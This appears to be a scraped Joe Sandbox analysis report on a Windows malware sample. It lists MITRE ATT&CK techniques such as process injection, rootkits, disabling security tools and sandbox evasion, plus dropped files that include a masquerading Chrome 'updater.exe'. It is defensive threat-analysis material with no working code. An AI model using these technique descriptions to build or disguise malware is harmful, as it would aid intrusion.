__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014E41FAA0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014E41FAA20A

Strings

csm, xrefs: 0000014E41FA9E52
csm, xrefs: 0000014E41FA9ECC
csm, xrefs: 0000014E41FA9DEB

Memory Dump Source

Source File: 00000045.00000003.2231913807.0000014E41FA0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_14e41fa0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: 0ed9ac66414087d513027ed7df3d5ae234fbd591406b529314a60a7205f700b2
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: 8CE15732704B408AEF609B6594883DDB7E0FB45BC8F1C4115EE8997FAADB38D596C720

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report egFMhHSlmf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bryyl1by.osu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_es1dcfgj.lik.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ld2m0mz2.mmu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_neubzoxx.u5e.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\System32\drivers\etc\hosts

C:\Windows\Temp\__PSScriptPolicyTest_1dcdm0g5.ytp.psm1

C:\Windows\Temp\__PSScriptPolicyTest_g1rxsjod.is5.psm1

Windows Analysis Report
egFMhHSlmf.exe

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre